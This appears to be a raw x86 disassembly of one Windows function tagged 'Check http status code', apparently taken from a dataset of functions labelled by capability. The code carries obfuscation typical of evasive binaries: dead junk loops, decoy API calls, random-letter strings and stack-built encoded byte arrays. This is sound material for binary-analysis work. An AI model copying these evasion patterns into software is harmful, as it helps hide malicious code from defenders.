Function at 0x1000843d
Capabilities:
Check http status code

Disassembly:
mov eax, 0x1005afe2
call fcn.1005a768
sub esp, 0x5d4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x280], edx
mov dword [ebp - 0x16c], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1d8], ebx
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0x1d0], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x1c], 0x7ee0
cmp dword [ebp - 0x1c], 0x7eee
jle 0x100084f6
push ebx
push 0x10f8
push 0x12a
push 0x1aa3
push 0x17fc
push 0x59e
push 0xf32
push 0x1d7d
push 0x1577
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], 0x4f8e
mov eax, ebx
mov ecx, 0x10075b18
or eax, esi
cdq
push edx
push eax
call fcn.10001b85
add ebx, edi
dec dword [ebp - 0x20]
jne 0x100084c9
inc edi
push 0
pop ebx
cmp edi, 0x1b0d
jl 0x100084bf
inc esi
cmp esi, 0x1fcc
jl 0x100084bd
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], 0x7c1a
jge 0x10008512
mov edx, str.isjz_cwax_knwygjtrv_naw_fjy_vaysz_vvpau_vis_eivezcmbe_apko_iznd_oaklcjtae_ryj
mov ecx, 0x10075b18
call fcn.100036dc
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], eax
call fcn.10001c9a
mov byte [ebp - 4], 4
mov dword [ebp - 0x50], 0x83c7730f
mov dword [ebp - 0x2f4], 0x8b5131d8
mov dword [ebp - 0x24], 0x4c81
cmp dword [ebp - 0x24], 0x4c9a
jle 0x100085f4
push 1
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov eax, esi
mov dword [ebp - 0x14], 0x5632
mov dword [ebp - 0x20], eax
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, edi
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, ebx
sar edi, cl
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4ac]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10008596
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ac]
call fcn.10001f96
inc esi
cmp esi, 0x1634
jl 0x10008578
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x6a48
jl 0x1000856d
dec eax
dec dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jne 0x10008568
mov esi, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x2916
jl 0x1000855c
push ebx
push 0x2463
push 0x1f8a
push ebx
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [ebp - 0x2e0], 0xa5223fa3
cmp dword [ebp - 0x24], 0x49d6
jge 0x10008612
push str.ahiq_lcr_vcunv
call fcn.100425d6
pop ecx
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x300], 0xffffffff
push 2
call fcn.10001c9a
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x2fc]
mov dword [ebp - 0x294], 0x3413f087
push eax
xor cl, cl
call fcn.10007c25
lea eax, [ebp - 0x1f0]
xor cl, cl
push eax
lea edx, [ebp - 0x2fc]
call fcn.100082c7
add esp, 0xc
mov dword [ebp - 0x50], ebx
jmp 0x100086ad
push ecx
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x3f], bl
push 0x7e54
push eax
xor cl, cl
call fcn.100075eb
add esp, 0xc
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jle 0x10008693
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x294]
push eax
push 0x14b4
push 0xd0b
lea eax, [ebp - 0x1f0]
push eax
push ecx
push ebx
lea eax, [ebp - 0x300]
push eax
push ecx
lea edx, [ebp - 0x2f4]
call fcn.10007f98
add esp, 0x28
cmp dword [ebp - 0x1f0], 0
je 0x10008714
push dword [ebp - 0x1f0]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1f0], ebx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x240], 0
je 0x1000873f
push dword [ebp - 0x240]
call fcn.10042747
pop ecx
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x23c], ebx
mov dword [ebp - 0x238], ebx
push 0x72
pop eax
push 2
mov dword [ebp - 0xb4], 0x1102390a
mov dword [ebp - 0xb0], 0x6e064e05
mov dword [ebp - 0xac], 0x30b2f0c
mov dword [ebp - 0xa8], 0x1a081b09
mov dword [ebp - 0xa4], 0xa040107
mov byte [ebp - 0xa0], bl
mov dword [ebp - 0x9f], 0x26f70326
mov dword [ebp - 0x9b], 0x12b03a4
mov byte [ebp - 0x97], 9
mov word [ebp - 0x3c4], ax
pop esi
mov dword [ebp - 0x188], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100087bb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x31c], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100087aa
mov dword [ebp - 0x14], ebx
jmp 0x100087d0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100087c6
mov dword [ebp - 0x78], ebx
jmp 0x10008825
mov dword [ebp - 0x18], 0xfffffffd
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0x31c], ebx
jne 0x1000880b
mov eax, dword [ebp - 0x78]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x31c]
mov eax, dword [ebp - 0x7c]
cmp ecx, eax
sete dl
cmp edx, 0xffffffff
jge 0x1000880b
mov edx, ebx
jmp 0x1000880e
xor edx, edx
inc edx
mov eax, dword [ebp - 0x78]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x31c]
cmp edx, eax
sete cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x78]
cmp dword [ebp - 0x78], 2
jle 0x100087db
cmp esi, 0x16
jne 0x1000883f
push 0x18
mov dword [ebp - 0x188], 4
pop esi
jmp 0x1000888d
movzx edx, byte [ebp + esi - 0xb3]
mov eax, esi
sub eax, dword [ebp - 0x188]
push 0x1c78
movzx eax, byte [ebp + eax - 0xb6]
movzx eax, word [ebp + eax*2 - 0x3d8]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb4]
push ecx
mov word [ebp + eax*2 - 0x3d8], cx
lea ecx, [ebp - 0x188]
call fcn.10007f4a
add esp, 8
add esi, 2
cmp esi, 0x1e
jb 0x100087a5
xor eax, eax
lea ecx, [ebp - 0x1fc]
mov word [ebp - 0x3be], ax
mov dword [ebp - 0x2f0], 0x2db58e46
mov dword [ebp - 0x18], 0x7ad95e17
mov dword [ebp - 0x2f8], 1
mov dword [ebp - 0x2c8], 0xbe4438b
mov dword [ebp - 0x2b4], 0x985a9576
mov dword [ebp - 0x2a4], 0xfffffff8
push 4
call fcn.10001c9a
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1a0], 0x815898f
push 2
call fcn.10001c9a
lea eax, [ebp - 0x1fc]
mov byte [ebp - 4], 9
push eax
push 0xa81
push ecx
push ebx
push 0x7e4c
push ecx
push ecx
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x2e4], 0xffffffff
push eax
push ecx
push 0x25e3
mov ecx, 0x441
call fcn.100072d3
push 0x5bf3
push 1
lea eax, [ebp - 0x2e8]
xor dl, dl
push eax
lea eax, [ebp - 0x1e4]
mov ecx, 0x4d82
push eax
push 1
push 0x4557
push 0x4bf1
call fcn.10008310
add esp, 0x44
lea edx, [ebp - 0x1a0]
push 0x2856
push ecx
push ebx
push ecx
mov ecx, 0x7bc6
call fcn.10008019
add esp, 0x10
lea eax, [ebp - 0x1a0]
lea edx, [ebp - 0x1e4]
push ebx
push eax
push ecx
lea eax, [ebp - 0x1fc]
push eax
push ecx
lea eax, [ebp - 0x2e4]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x2f8]
push eax
push 0x627a
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.100076dc
add esp, 0x2c
cmp dword [ebp - 0x1e4], 0
je 0x100089fc
push dword [ebp - 0x1e4]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1fc], 0
je 0x10008a27
push dword [ebp - 0x1fc]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x1f4], ebx
push 0x42
pop eax
push 0x6f
mov byte [ebp - 0x91], al
mov ecx, ebx
mov byte [ebp - 0x8e], al
pop eax
push 2
mov word [ebp - 0x94], 0x4601
mov byte [ebp - 0x92], 2
mov word [ebp - 0x90], 0x5402
mov dword [ebp - 0x8d], 0x6074e05
mov dword [ebp - 0x89], 0x2040603
mov word [ebp - 0x85], 0x906
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 6
mov word [ebp - 0x346], ax
pop esi
mov dword [ebp - 0x170], ecx
cmp esi, 4
jne 0x10008aa1
push 3
pop ecx
push 5
mov dword [ebp - 0x170], ecx
pop esi
jmp 0x10008b08
movzx edx, byte [ebp + esi - 0x93]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x96]
movzx eax, word [ebp + eax*2 - 0x348]
mov ecx, eax
and eax, edx
or ecx, edx
mov dl, 1
sub ecx, eax
movzx eax, byte [ebp + esi - 0x94]
mov word [ebp + eax*2 - 0x348], cx
lea eax, [ebp - 0x170]
push eax
push ebx
push 0x2709
push 0x3bbf
push 1
push 0x4115
push 0x1d9d
mov ecx, 0x6091
call fcn.10008310
mov ecx, dword [ebp - 0x170]
add esp, 0x1c
add esi, 2
cmp esi, 0x13
jb 0x10008a8e
push 1
xor eax, eax
mov edx, 0x733a
push ecx
mov word [ebp - 0x338], ax
mov dword [ebp - 0x18], 2
push ecx
call fcn.10007c63
add esp, 0xc
mov byte [ebp - 0x35], bl
lea eax, [ebp - 0x35]
mov edx, 0x6645
push 0x5879
push ecx
push 0x676b
push 1
push eax
mov ecx, 0xd1a
call fcn.100078d9
xor eax, eax
mov dword [ebp - 0x39c], 7
add esp, 0x14
mov word [ebp - 0x3b0], ax
lea eax, [ebp - 0x348]
mov dword [ebp - 0x3a0], ebx
lea ecx, [ebp - 0x3b0]
push eax
call fcn.1000a767
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x398]
xor eax, eax
mov dword [ebp - 0x384], 7
mov word [ebp - 0x398], ax
lea eax, [ebp - 0x3d8]
push eax
mov dword [ebp - 0x388], ebx
call fcn.1000a767
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebp - 0x458]
call fcn.1000ab8b
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x440]
call fcn.1000ab8b
push ebx
push 1
lea ecx, [ebp - 0x398]
call fcn.10006b31
push ebx
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10006b31
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x428]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x1ac], ebx
push eax
lea eax, [ebp - 0x458]
mov dword [ebp - 0x1a8], ebx
push eax
push ebx
mov dword [ebp - 0x1a4], ebx
call fcn.1000ad68
push fcn.1000a466
push 1
push 0x30
lea eax, [ebp - 0x458]
mov byte [ebp - 4], 0xd
push eax
call fcn.10042987
mov dword [ebp - 0x2dc], 3
mov dword [ebp - 0x2c4], 0x9fb37b04
mov dword [ebp - 0x2d4], 0x672d714f
mov dword [ebp - 0x2d0], 0xf9c32812
mov dword [ebp - 0x2d8], 0x89afca86
lea eax, [ebp - 0x2cc]
mov dword [ebp - 0x2cc], 0xb1e5de2c
push eax
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x2ec], 0x8663
push eax
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x2dc]
push eax
push ecx
lea eax, [ebp - 0x2d0]
push eax
push 0x52cf
push ecx
lea eax, [ebp - 0x2ec]
push eax
push 1
lea edx, [ebp - 0x2d8]
call fcn.1000804c
add esp, 0x28
lea edi, [ebp - 0x3d8]
xor eax, eax
push 7
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x1c], ebx
jmp 0x10008cf2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3f4], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10008ce1
push 2
pop esi
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ebx
jl 0x10008d3d
push ecx
push ecx
lea eax, [ebp - 0x3d]
mov byte [ebp - 0x3d], bl
push 0x735e
push eax
xor dl, dl
mov ecx, 0x3da8
call fcn.10007da6
add esp, 0x10
mov byte [ebp - 0x45], bl
mov edx, 0x1db1
lea ecx, [ebp - 0x45]
push 1
sub esp, 0xc
call fcn.100079de
add esp, 0x10
dec dword [ebp - 0x14]
jns 0x10008d03
mov dword [ebp - 0x14], ebx
jmp 0x10008d51
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x3f4], ebx
jne 0x10008d56
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10008d42
xor eax, eax
lea edi, [ebp - 0x348]
stosd dword es:[edi], eax
mov edx, 0x3cb9
push 0x1492
push 0x693e
push 0x5e35
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x1ac]
push eax
push 0x3aa4
push ecx
push 1
push 0x3f70
push ecx
call fcn.10007f98
mov eax, 0x70ad6f2e
add esp, 0x28
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x18], 0x152c58fb
mov dword [ebp - 0x18], 0x748afa2f
mov dword [ebp - 0x174], 0xc6ef
mov dword [ebp - 0x1c], ebx
jmp 0x10008deb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x47c], 0x62ee6d05
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10008dda
sub esp, 0xc
lea ecx, [ebp - 0x174]
mov dl, 1
call fcn.10007ade
add esp, 0xc
push ebx
push 0xa365
push 0xcef1
call fcn.1001d77c
pop ecx
pop ecx
call eax
mov dword [ebp - 0x1c], 0xce125d16
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x14], 0xf9150fae
mov dword [ebp - 0x1c], ebx
jmp 0x10008e3f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10008e35
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10008f08
mov dword [ebp - 0x3c], 0x891f782a
mov dword [ebp - 0x24], 0x8d72a67f
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], ebx
jl 0x10008ece
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x68], ebx
je 0x10008ec1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x184], eax
jne 0x10008e8b
cmp dword [ebp - 0x184], ebx
jne 0x10008e8b
mov eax, ebx
jmp 0x10008e8e
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x10008e9b
cmp dword [ebp - 0x14], ebx
jne 0x10008ea8
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x10008ea8
mov ecx, ebx
jmp 0x10008eab
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
sub ecx, eax
cmp ecx, 0x3927
jg 0x10008ec1
xor eax, eax
inc eax
jmp 0x10008ec3
mov eax, ebx
imul eax, eax, 0xe
mov dword [ebp - 0x14], eax
dec dword [ebp - 0x3c]
jns 0x10008e67
mov dword [ebp - 0x14], ebx
jmp 0x10008efa
push ecx
push ecx
lea eax, [ebp - 0x3c]
mov dl, 1
push eax
push 0x606c
lea ecx, [ebp - 0x184]
call fcn.10007da6
mov eax, dword [ebp - 0x1c]
add esp, 0x10
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x10008eff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10008ed3
dec dword [ebp - 0x1c]
jns 0x10008e51
mov dword [ebp - 0x14], ebx
jmp 0x10008f18
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jne 0x10008f1e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
je 0x10008f0d
mov dword [ebp - 0x14], 0xfffffff6
lea ecx, [ebp - 0x194]
push 3
call fcn.10001c9a
sub esp, 0xc
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x15c], 9
mov dl, 1
lea ecx, [ebp - 0x194]
push eax
call fcn.100074be
add esp, 0x10
dec dword [ebp - 0x14]
jne 0x100090d7
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x194]
mov dword [eax + 8], ecx
test ecx, ecx
jne 0x100090d7
push esi
lea ecx, [ebp - 0x2a0]
call fcn.10001c9a
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x54], ebx
jmp 0x10008fa4
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x234], 0xe01afec1
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], esi
jl 0x10008f93
push ebx
lea eax, [ebp - 0x2a0]
mov edx, 0x292f
push eax
push ecx
lea eax, [ebp - 0x54]
push eax
call fcn.10007e65
mov dword [ebp - 0x1c], 0x318
add esp, 0x10
cmp dword [ebp - 0x1c], 0x527
jle 0x10009039
mov dword [ebp - 0x30], ebx
mov ecx, ebx
mov dword [ebp - 0x24], 0x3527
mov dword [ebp - 0x20], ecx
mov edi, ebx
mov eax, ecx
lea ecx, [ebp - 0x4f4]
xor eax, edi
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009000
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f4]
call fcn.10001f96
mov ecx, dword [ebp - 0x20]
inc edi
cmp edi, 0x1f5e
jl 0x10008fe4
mov eax, dword [ebp - 0x30]
add ecx, eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
jne 0x10008fe2
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x5ff4
jl 0x10008fd6
cmp dword [ebp - 0x1c], 0xffffff93
jge 0x1000904a
push str.fms_mfe_eot_nmdsh_fznfmredi_uartecpp
call fcn.100425d6
pop ecx
push ecx
push ecx
lea eax, [ebp - 0x15c]
mov dword [ebp - 4], 0x11
push eax
sub esp, 0x10
lea eax, [ebp - 0x194]
push eax
push ebx
call fcn.10007afb
mov eax, dword [ebp - 0x234]
xor edx, edx
mov eax, dword [ebp - 0x234]
add esp, 0x24
mov ecx, dword [ebp - 0x194]
cmp eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x234]
mov eax, dword [ebp - 0x194]
setne dl
mov dword [ebp - 0x18], edx
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x234]
setge dl
xor ecx, ecx
cmp edx, dword [ebp - 0x18]
setge cl
add eax, ecx
mov ecx, dword [ebp - 0x2a0]
push ecx
mov dword [ecx + 4], eax
mov dword [ebp - 0x18], eax
call fcn.10042747
pop ecx
mov dword [ebp - 0x2a0], ebx
mov dword [ebp - 0x29c], ebx
mov dword [ebp - 0x298], ebx
jmp 0x10009243
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], 0xda72
mov dword [ebp - 0x24], 0x30477ae2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], 0x42a8
cmp dword [ebp - 0x28], 0x4556
jle 0x10009192
push ebx
push 0x4a9
push 0x1e60
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x30], 0x7ac9
mov dword [ebp - 0x24], eax
and eax, edi
and eax, ecx
lea ecx, [ebp - 0x470]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000914f
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x470]
call fcn.10001f96
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
add eax, esi
dec dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
jne 0x10009133
inc esi
cmp esi, 0x29c0
jl 0x10009127
inc edi
cmp edi, 0x5614
jl 0x10009125
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x7fbb
jl 0x10009123
cmp dword [ebp - 0x1c], ebx
je 0x1000919a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x194]
mov eax, dword [esi + 8]
mov edx, dword [esi + 8]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
sub ecx, dword [ebp - 0x14]
cmp edx, ecx
setne al
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
mov dword [esi + 8], edx
mov dword [ebp - 0x18], edx
xor edx, edx
cmp dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
cmp ecx, 1
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
sub eax, 0x628e
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x28], 0x3f2e
jge 0x10009239
push str.dghfzq_ttiwq_avcvfqdh_wlmtz_akd_zzoead_wvyzlpq_wvdtrb_teyaf_ifu_boctgo
call fcn.100425d6
pop ecx
push 2
mov dword [ebp - 4], 0xe
pop esi
mov byte [ebp - 4], 0xd
push dword [ebp - 0x194]
call fcn.10042747
mov dword [ebp - 0x194], ebx
xor eax, eax
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], 0x7f60
cmp dword [ebp - 0x18], 0x81d1
pop ecx
mov word [ebp - 0x380], ax
jle 0x100092da
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x24], 0x3ae6
mov dword [ebp - 0x28], eax
cdq
lea ecx, [ebp - 0x4c4]
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100092af
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c4]
call fcn.10001f96
mov eax, dword [ebp - 0x28]
add eax, edi
dec dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
jne 0x10009297
inc edi
cmp edi, 0x2c91
jl 0x1000928b
mov dword [ebp - 0x14], 0x5596960f
mov dword [ebp - 0x20], ebx
jmp 0x100092f7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x270], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100092e6
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], esi
jg 0x1000942a
push 4
lea ecx, [ebp - 0x2b0]
call fcn.10001c9a
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x30], 0x66ca
cmp dword [ebp - 0x30], 0x6790
jle 0x100093a2
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
add eax, ecx
mov dword [ebp - 0x24], 0x2548
mov dword [ebp - 0x28], eax
cdq
lea ecx, [ebp - 0x4dc]
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000935a
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4dc]
call fcn.10001f96
mov eax, dword [ebp - 0x28]
add eax, edi
dec dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
jne 0x10009342
mov eax, dword [ebp - 0x1c]
dec edi
mov ecx, dword [ebp - 0x20]
cmp edi, 0xffffc4f0
jg 0x10009336
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x1c03
jl 0x10009334
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x569
jl 0x1000932f
mov dword [ebp - 0x20], ebx
jmp 0x100093ba
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2b0]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x100093a7
cmp dword [ebp - 0x30], 0x6591
jge 0x100093d4
push str.zmbigkr_ufne_aktgua_gyv_lxbcgg_wdmvbbdr_wlogkxf_mcmgn_uztnvbrq_uphvaovo_rbb_sctazgde
call fcn.100425d6
pop ecx
mov dword [ebp - 4], 0x14
mov edi, dword [ebp - 0x2b0]
mov dword [edi + 4], ebx
push ecx
push ecx
push 0x641
sub esp, 0x10
push 0x25ec
push 1
call fcn.10007afb
add esp, 0x24
inc dword [edi + 4]
cmp dword [edi + 4], esi
jle 0x100093e4
push edi
mov byte [ebp - 4], 0xd
call fcn.10042747
mov dword [ebp - 0x2b0], ebx
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2a8], ebx
inc dword [ebp - 0x14]
pop ecx
jmp 0x10009300
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x270]
jg 0x1000943b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jne 0x10009449
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x270], ebx
je 0x10009456
cmp dword [ebp - 0x14], ebx
jne 0x1000945c
mov eax, dword [ebp - 0x270]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x268]
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x18], 0x7e1e
jge 0x10009489
push str.gygz_gioh_gbqjnirr_gprbhvswe_jgoxyxone_zpeoj
call fcn.100425d6
pop ecx
mov dword [ebp - 4], 0xd
mov ecx, ebx
push 0x38
pop eax
push 2
mov dword [ebp - 0x108], 0xf1f4524
mov dword [ebp - 0x104], 0x770a7404
mov dword [ebp - 0x100], 0x7411041a
mov dword [ebp - 0xfc], 0x711d0123
mov byte [ebp - 0xf8], bl
mov dword [ebp - 0xf7], 0x2042144f
mov byte [ebp - 0xf3], bl
mov dword [ebp - 0xf2], 0xd0d0d17
mov dword [ebp - 0xee], 0x9100107
mov dword [ebp - 0xea], 0x1d191c13
mov dword [ebp - 0xe6], 0x15090803
mov dword [ebp - 0xe2], 0x761e1d1c
mov dword [ebp - 0xde], 0x1e18750b
mov dword [ebp - 0xda], 0xb221f12
mov dword [ebp - 0xd6], 0x71010d0c
mov dword [ebp - 0xd2], 0x1067415
mov word [ebp - 0xce], 0x105
mov byte [ebp - 0xcc], 0xf
mov byte [ebp - 0xcb], bl
mov word [ebp - 0xca], 0x7508
mov byte [ebp - 0xc8], 2
mov byte [ebp - 0xc7], bl
mov dword [ebp - 0xc6], 0x1b0e7221
mov dword [ebp - 0xc2], 0x2166e1b
mov dword [ebp - 0xbe], 0x3c252401
mov word [ebp - 0x500], ax
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0x4a
jne 0x10009597
push 2
pop ecx
mov dword [ebp - 0x164], ecx
jmp 0x100095f3
movzx edx, byte [ebp + esi - 0x107]
mov eax, esi
sub eax, ecx
push 0x5b4b
push ebx
push 0x596b
movzx eax, byte [ebp + eax - 0x10a]
